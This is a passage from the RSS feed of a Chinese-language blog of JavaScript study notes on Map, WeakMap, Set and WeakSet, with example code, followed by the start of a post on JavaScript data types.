</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl">  <span class="c1">// obj = { banana: 1, orange: 2, meat: 4 }
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl">  <span class="nx">alert</span><span class="p">(</span><span class="nx">obj</span><span class="p">.</span><span class="nx">orange</span><span class="p">);</span> <span class="c1">// 2
</span></span></span></code></pre></div></li>
</ul>
<h3 id="实现">实现</h3>
<p>可以使用两个数组（一个存放键，一个存放值）来实现。给这种映射设置值时会同时将键和值添加到这两个数组的末尾。从而使得键和值的索引在两个数组中相对应。当从该映射取值的时候，需要遍历所有的键，然后使用索引从存储值的数组中检索出相应的值。</p>
<p>但这样的实现会有两个很大的缺点：</p>
<ol>
<li>赋值和搜索操作都是 O(n) 的时间复杂度（n 是键值对的个数），因为这两个操作都需要遍历全部整个数组来进行匹配。</li>
<li>可能会导致内存泄漏，因为数组会一直引用着每个键和值。这种引用使得垃圾回收算法不能回收处理他们，即使没有其他任何引用存在了。</li>
</ol>
<h3 id="基于map的lru缓存实现">基于Map的LRU缓存实现</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="kr">class</span> <span class="nx">LRUCache</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">constructor</span><span class="p">(</span><span class="nx">capacity</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">this</span><span class="p">.</span><span class="nx">capacity</span> <span class="o">=</span> <span class="nx">capacity</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">this</span><span class="p">.</span><span class="nx">cache</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Map</span><span class="p">();</span> <span class="c1">// 用于存储缓存
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nx">get</span><span class="p">(</span><span class="nx">key</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="k">this</span><span class="p">.</span><span class="nx">cache</span><span class="p">.</span><span class="nx">has</span><span class="p">(</span><span class="nx">key</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span> <span class="c1">// 如果不存在，返回 -1
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="c1">// 如果存在，将该键值移到末尾表示最近使用
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="kr">const</span> <span class="nx">value</span> <span class="o">=</span> <span class="k">this</span><span class="p">.</span><span class="nx">cache</span><span class="p">.</span><span class="nx">get</span><span class="p">(</span><span class="nx">key</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">this</span><span class="p">.</span><span class="nx">cache</span><span class="p">.</span><span class="k">delete</span><span class="p">(</span><span class="nx">key</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">this</span><span class="p">.</span><span class="nx">cache</span><span class="p">.</span><span class="nx">set</span><span class="p">(</span><span class="nx">key</span><span class="p">,</span> <span class="nx">value</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="nx">value</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nx">put</span><span class="p">(</span><span class="nx">key</span><span class="p">,</span> <span class="nx">value</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">cache</span><span class="p">.</span><span class="nx">has</span><span class="p">(</span><span class="nx">key</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="c1">// 如果已存在，先删除旧的
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>            <span class="k">this</span><span class="p">.</span><span class="nx">cache</span><span class="p">.</span><span class="k">delete</span><span class="p">(</span><span class="nx">key</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">cache</span><span class="p">.</span><span class="nx">size</span> <span class="o">===</span> <span class="k">this</span><span class="p">.</span><span class="nx">capacity</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="c1">// 如果缓存已满，删除最旧的（第一个）
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>            <span class="k">this</span><span class="p">.</span><span class="nx">cache</span><span class="p">.</span><span class="k">delete</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">cache</span><span class="p">.</span><span class="nx">keys</span><span class="p">().</span><span class="nx">next</span><span class="p">().</span><span class="nx">value</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="c1">// 添加新值到缓存
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="k">this</span><span class="p">.</span><span class="nx">cache</span><span class="p">.</span><span class="nx">set</span><span class="p">(</span><span class="nx">key</span><span class="p">,</span> <span class="nx">value</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// 使用示例
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kr">const</span> <span class="nx">lruCache</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">LRUCache</span><span class="p">(</span><span class="mi">2</span><span class="p">);</span> <span class="c1">// 创建容量为 2 的 LRU 缓存
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">lruCache</span><span class="p">.</span><span class="nx">put</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s1">&#39;A&#39;</span><span class="p">);</span> <span class="c1">// 缓存是 {1: &#39;A&#39;}
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">lruCache</span><span class="p">.</span><span class="nx">put</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="s1">&#39;B&#39;</span><span class="p">);</span> <span class="c1">// 缓存是 {1: &#39;A&#39;, 2: &#39;B&#39;}
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">lruCache</span><span class="p">.</span><span class="nx">get</span><span class="p">(</span><span class="mi">1</span><span class="p">));</span> <span class="c1">// 返回 &#39;A&#39;，缓存变为 {2: &#39;B&#39;, 1: &#39;A&#39;}
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">lruCache</span><span class="p">.</span><span class="nx">put</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="s1">&#39;C&#39;</span><span class="p">);</span> <span class="c1">// 取消键 2，缓存是 {1: &#39;A&#39;, 3: &#39;C&#39;}
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">lruCache</span><span class="p">.</span><span class="nx">get</span><span class="p">(</span><span class="mi">2</span><span class="p">));</span> <span class="c1">// 返回 -1（未找到）
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">lruCache</span><span class="p">.</span><span class="nx">put</span><span class="p">(</span><span class="mi">4</span><span class="p">,</span> <span class="s1">&#39;D&#39;</span><span class="p">);</span> <span class="c1">// 取消键 1，缓存是 {3: &#39;C&#39;, 4: &#39;D&#39;}
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">lruCache</span><span class="p">.</span><span class="nx">get</span><span class="p">(</span><span class="mi">1</span><span class="p">));</span> <span class="c1">// 返回 -1（未找到）
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">lruCache</span><span class="p">.</span><span class="nx">get</span><span class="p">(</span><span class="mi">3</span><span class="p">));</span> <span class="c1">// 返回 &#39;C&#39;
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">lruCache</span><span class="p">.</span><span class="nx">get</span><span class="p">(</span><span class="mi">4</span><span class="p">));</span> <span class="c1">// 返回 &#39;D&#39;
</span></span></span></code></pre></div><hr>
<h2 id="weakmap">WeakMap</h2>
<h3 id="要求">要求</h3>
<ul>
<li>键必须是可被垃圾回收的
<ul>
<li>大多数原始数据类型可以任意地被创建，且<strong>没有生命周期</strong>，因此不能作为键</li>
<li><strong>对象和非全局注册的符号</strong>都可以作为键，因为它们是可被垃圾回收的</li>
</ul>
</li>
</ul>
<h3 id="特点">特点</h3>
<ul>
<li>WeakMap 的键对象会强引用其值，直到该键对象被垃圾回收，但从那时起，它会变为弱引用</li>
<li>不会阻止垃圾回收，直到垃圾回收器移除了键对象的引用</li>
<li>任何值都可以被垃圾回收，只要它们的键对象没有被 WeakMap 以外的地方引用</li>
<li>不支持遍历</li>
</ul>
<h3 id="强引用与弱引用">强引用与弱引用</h3>
<ul>
<li>对象的弱引用是指该引用<strong>不会阻止</strong> GC 回收这个对象。</li>
<li>一个普通的引用（或者说强引用）会将与之对应的对象保存在内存中。</li>
<li>只有当该对象没有任何的强引用时，JavaScript 引擎 GC 才会销毁该对象并且回收该对象所占的内存空间。如果上述情况发生了，那么你就无法通过任何的弱引用来获取该对象。</li>
</ul>
<h3 id="作用一-模拟私有成员">作用一: 模拟私有成员</h3>
<ul>
<li>好处
<ol>
<li>与<code>Map</code>相比，<code>WeakMap</code>不持有键对象的强引用，因此元数据与对象本身共享同样的生命周期，<strong>避免内存泄漏</strong>。</li>
<li>与使用不可枚举对象和/或<code>Symbol</code>属性相比，<code>WeakMap</code>位于对象外部，没有办法通过像<code>Object.getOwnPropertySymbols</code>等的反射方法来检索元数据。</li>
<li>与闭包相比，构造函数可以复用同一个<code>WeakMap</code>对象来创建所有实例，从而节省内存，并且允许同一个类创建的不同实例读取彼此的私有成员。</li>
</ol>
</li>
<li>代码:</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">Thing</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">privateScope</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">WeakMap</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">  <span class="kd">let</span> <span class="nx">counter</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="nx">Thing</span> <span class="o">=</span> <span class="kd">function</span> <span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">this</span><span class="p">.</span><span class="nx">someProperty</span> <span class="o">=</span> <span class="s2">&#34;foo&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nx">privateScope</span><span class="p">.</span><span class="nx">set</span><span class="p">(</span><span class="k">this</span><span class="p">,</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nx">hidden</span><span class="o">:</span> <span class="o">++</span><span class="nx">counter</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="p">});</span>
</span></span><span class="line"><span class="cl">  <span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="nx">Thing</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">showPublic</span> <span class="o">=</span> <span class="kd">function</span> <span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="k">this</span><span class="p">.</span><span class="nx">someProperty</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="nx">Thing</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">showPrivate</span> <span class="o">=</span> <span class="kd">function</span> <span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nx">privateScope</span><span class="p">.</span><span class="nx">get</span><span class="p">(</span><span class="k">this</span><span class="p">).</span><span class="nx">hidden</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">};</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="k">typeof</span> <span class="nx">privateScope</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="c1">// &#34;undefined&#34;
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">thing</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Thing</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">thing</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="c1">// Thing {someProperty: &#34;foo&#34;}
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="nx">thing</span><span class="p">.</span><span class="nx">showPublic</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="c1">// &#34;foo&#34;
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="nx">thing</span><span class="p">.</span><span class="nx">showPrivate</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="c1">// 1
</span></span></span></code></pre></div><ul>
<li>常规写法</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kr">class</span> <span class="nx">Thing</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">static</span> <span class="err">#</span><span class="nx">counter</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="err">#</span><span class="nx">hidden</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="nx">constructor</span><span class="p">(){</span>
</span></span><span class="line"><span class="cl">    <span class="k">this</span><span class="p">.</span><span class="nx">someProperty</span> <span class="o">=</span> <span class="s2">&#34;foo&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">this</span><span class="p">.</span><span class="err">#</span><span class="nx">hidden</span> <span class="o">=</span> <span class="o">++</span><span class="nx">Thing</span><span class="p">.</span><span class="err">#</span><span class="nx">counter</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="nx">showPublic</span><span class="p">(){</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="k">this</span><span class="p">.</span><span class="nx">someProperty</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="nx">showPrivate</span><span class="p">(){</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="k">this</span><span class="p">.</span><span class="err">#</span><span class="nx">hidden</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">thing</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="c1">// Thing {someProperty: &#34;foo&#34;}
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="nx">thing</span><span class="p">.</span><span class="nx">showPublic</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="c1">// &#34;foo&#34;
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="nx">thing</span><span class="p">.</span><span class="nx">showPrivate</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="c1">// 1
</span></span></span></code></pre></div><h3 id="作用二-关联元数据">作用二: 关联元数据</h3>
<ul>
<li>可用于将元数据与对象关联，而不影响对象的生命周期</li>
</ul>
<h3 id="作用三-缓存">作用三: 缓存</h3>
<ul>
<li>缺点:
<ul>
<li>只有当函数的输入是对象时才有效</li>
<li>即使输入不再传入，结果依然永远保留在缓存中</li>
</ul>
</li>
<li>更好的方法: 将 Map 与 WeakRef 对象配对使用</li>
</ul>
<h3 id="参考">参考</h3>
<ul>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/WeakMap"  target="_blank" rel="noopener" >WeakMap - JavaScript | MDN</a></li>
</ul>
<hr>
<h2 id="set">Set</h2>
<h3 id="概念-1">概念</h3>
<ul>
<li>“值的集合”（没有键）</li>
<li>每一个值只能出现一次</li>
</ul>
<h3 id="常用方法-1">常用方法</h3>
<ul>
<li><code>new Set(iterable)</code> —— 创建一个 set，如果提供了一个 iterable 对象（通常是数组），将会从数组里面复制值到 set 中。</li>
<li><code>set.add(value)</code> —— 添加一个值，返回 set 本身</li>
<li><code>set.delete(value)</code> —— 删除值，如果 value 在这个方法调用的时候存在则返回 true ，否则返回 false。</li>
<li><code>set.has(value)</code> —— 如果 value 在 set 中，返回 true，否则返回 false。</li>
<li><code>set.clear()</code> —— 清空 set。</li>
<li><code>set.size</code> —— 返回元素个数。</li>
</ul>
<h3 id="迭代-1">迭代</h3>
<ul>
<li><code>for..of</code></li>
<li><code>forEach</code>
<ul>
<li>回调函数有三个参数：一个 value，然后是 同一个值 valueAgain，最后是目标对象</li>
<li><strong>为了与 Map 兼容</strong></li>
</ul>
</li>
<li><code>set.keys()</code> —— 遍历并返回一个包含所有值的可迭代对象，</li>
<li><code>set.values()</code> —— 与<code>set.keys()</code>作用相同，这是为了兼容 Map，</li>
</ul>
<h3 id="作用">作用</h3>
<ul>
<li>数组去重：<code>Array.from(new Set(arr));</code></li>
</ul>
<h3 id="参考-1">参考</h3>
<ul>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Set"  target="_blank" rel="noopener" >Set - JavaScript | MDN</a></li>
</ul>
<hr>
<h2 id="weakset">WeakSet</h2>
<h3 id="概念-2">概念</h3>
<ul>
<li>可被垃圾回收的值的集合，包括对象和非全局注册的符号</li>
<li>WeakSet 中的值只能出现一次</li>
<li>WeakSet 是<strong>不可枚举</strong>的</li>
</ul>
<h3 id="作用一-检测循环引用">作用一: 检测循环引用</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="c1">// 对传入的 subject 对象内部存储的所有内容执行回调
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">function</span> <span class="nx">execRecursively</span><span class="p">(</span><span class="nx">fn</span><span class="p">,</span> <span class="nx">subject</span><span class="p">,</span> <span class="nx">_refs</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">WeakSet</span><span class="p">())</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="c1">// 避免无限递归
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="k">if</span> <span class="p">(</span><span class="nx">_refs</span><span class="p">.</span><span class="nx">has</span><span class="p">(</span><span class="nx">subject</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="nx">fn</span><span class="p">(</span><span class="nx">subject</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="k">typeof</span> <span class="nx">subject</span> <span class="o">===</span> <span class="s2">&#34;object&#34;</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">_refs</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="nx">subject</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="kr">const</span> <span class="nx">key</span> <span class="k">in</span> <span class="nx">subject</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nx">execRecursively</span><span class="p">(</span><span class="nx">fn</span><span class="p">,</span> <span class="nx">subject</span><span class="p">[</span><span class="nx">key</span><span class="p">],</span> <span class="nx">_refs</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">foo</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">foo</span><span class="o">:</span> <span class="s2">&#34;Foo&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nx">bar</span><span class="o">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">bar</span><span class="o">:</span> <span class="s2">&#34;Bar&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="p">},</span>
</span></span><span class="line"><span class="cl"><span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">foo</span><span class="p">.</span><span class="nx">bar</span><span class="p">.</span><span class="nx">baz</span> <span class="o">=</span> <span class="nx">foo</span><span class="p">;</span> <span class="c1">// 循环引用！
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">execRecursively</span><span class="p">((</span><span class="nx">obj</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">obj</span><span class="p">),</span> <span class="nx">foo</span><span class="p">);</span>
</span></span></code></pre></div><h3 id="作用二-储存-dom-节点">作用二: 储存 DOM 节点</h3>
<h3 id="用例">用例</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">ws</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">WeakSet</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">foo</span> <span class="o">=</span> <span class="p">{};</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">bar</span> <span class="o">=</span> <span class="p">{};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">ws</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="nx">foo</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nx">ws</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="nx">bar</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">ws</span><span class="p">.</span><span class="nx">has</span><span class="p">(</span><span class="nx">foo</span><span class="p">);</span> <span class="c1">// true
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">ws</span><span class="p">.</span><span class="nx">has</span><span class="p">(</span><span class="nx">bar</span><span class="p">);</span> <span class="c1">// true
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="nx">ws</span><span class="p">.</span><span class="k">delete</span><span class="p">(</span><span class="nx">foo</span><span class="p">);</span> <span class="c1">// 从 set 中删除 foo 对象
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">ws</span><span class="p">.</span><span class="nx">has</span><span class="p">(</span><span class="nx">foo</span><span class="p">);</span> <span class="c1">// false，foo 对象已经被删除了
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">ws</span><span class="p">.</span><span class="nx">has</span><span class="p">(</span><span class="nx">bar</span><span class="p">);</span> <span class="c1">// true，bar 依然存在
</span></span></span></code></pre></div><ul>
<li>注意，<code>foo !== bar</code>。尽管它们是相似的对象，但是它们不是同一个对象。因此，它们都可以被加入到集合中。</li>
</ul>
<h3 id="参考-2">参考</h3>
<ul>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/WeakSet"  target="_blank" rel="noopener" >WeakSet - JavaScript | MDN</a></li>
</ul>
<h2 id="参考-3">参考</h2>
<ul>
<li><a href="https://zh.javascript.info/map-set"  target="_blank" rel="noopener" >Map and Set（映射和集合）</a></li>
<li><a href="https://juejin.cn/post/7003533740341362719"  target="_blank" rel="noopener" >ES6新增引用类型：Map、WeakMap、Set、WeakSet前言 Map、WeakMap、Set、WeakSet作 - 掘金</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>JavaScript知识点整理之数据类型</title>
      <link>https://ds63.eu.org/2024/javascript_points_of_data_type/</link>
      <pubDate>Fri, 27 Sep 2024 23:34:14 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2024/javascript_points_of_data_type/</guid>
      <description>自己学习过程中整理的关于JavaScript中数据类型的知识点</description>
      <content:encoded><![CDATA[<h2 id="基本类型值类型">基本类型(值类型)</h2>
<ol>
<li>数值（Number）：用于表示数字，包括整数和浮点数。</li>
<li>字符串（String）：用于表示文本，由单引号或双引号括起来的字符序列。</li>
<li>布尔值（Boolean）：用于表示逻辑值，只有两个取值，true和false。</li>
<li>空值（Null）：表示&quot;没有对象&quot;，即该处不应该有值; <code>typeof null === &quot;object&quot;</code></li>
<li>未定义（Undefined）：表示&quot;缺少值&quot;，就是此处应该有一个值，但是还没有定义
<ul>
<li>在ES5标准中，<code>undefined</code>被设置为不可写</li>
<li>但在其之前，<code>undefined</code>实际上是一个全局属性,可以被修改。所以babel会将其编译成<code>void 0</code>,来确保兼容性</li>
</ul>
</li>
<li>大整数（BigInt）：用于表示任意精度的整数，通常用于表示超出Number类型范围的整数。
<ul>
<li>不可以把 bigint 和常规数字类型混合使用</li>
<li>创建 bigint 的方式有两种：在一个整数字面量后面加 n 或者调用 BigInt 函数，该函数从字符串、数字等中生成 bigint</li>
</ul>
</li>
<li>符号（Symbol）：用于表示唯一的标识符。(ES6引入)</li>
<li>永远不会有返回值的类型（Never）：表示那些永远不会有返回值的函数的返回值类型。通常用于抛出异常或无限循环等情况。</li>
<li>任意类型（Any）：表示可以是任何类型的值，通常用于在编写代码时不确定变量的类型，或者需要处理多种类型的情况。</li>
</ol>
<h3 id="pattern">pattern</h3>
<ul>
<li>所有的内建对象都遵循相同的模式（pattern）：
<ol>
<li>方法都存储在 prototype 中（Array.prototype、Object.prototype、Date.prototype 等）。</li>
<li>对象本身只存储数据（数组元素、对象属性、日期）。</li>
</ol>
</li>
</ul>
<h3 id="参考">参考：</h3>
<ul>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Data_structures"  target="_blank" rel="noopener" >JavaScript 数据类型和数据结构 - JavaScript | MDN</a></li>
<li><a href="https://zh.javascript.info/bigint"  target="_blank" rel="noopener" >BigInt</a></li>
<li><a href="https://www.ruanyifeng.com/blog/2014/03/undefined-vs-null.html"  target="_blank" rel="noopener" >undefined与null的区别 - 阮一峰的网络日志</a></li>
</ul>
<hr>
<h2 id="null和undefined的区别">null和undefined的区别</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">animal</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">jumps</span><span class="o">:</span> <span class="kc">null</span>
</span></span><span class="line"><span class="cl"><span class="p">};</span>
</span></span><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">rabbit</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">__proto__</span><span class="o">:</span> <span class="nx">animal</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nx">jumps</span><span class="o">:</span> <span class="kc">true</span>
</span></span><span class="line"><span class="cl"><span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">alert</span><span class="p">(</span> <span class="nx">rabbit</span><span class="p">.</span><span class="nx">jumps</span> <span class="p">);</span> <span class="c1">// true，来自于 rabbit
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="k">delete</span> <span class="nx">rabbit</span><span class="p">.</span><span class="nx">jumps</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">alert</span><span class="p">(</span> <span class="nx">rabbit</span><span class="p">.</span><span class="nx">jumps</span> <span class="p">);</span> <span class="c1">// null, 来自于animal
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="k">delete</span> <span class="nx">animal</span><span class="p">.</span><span class="nx">jumps</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
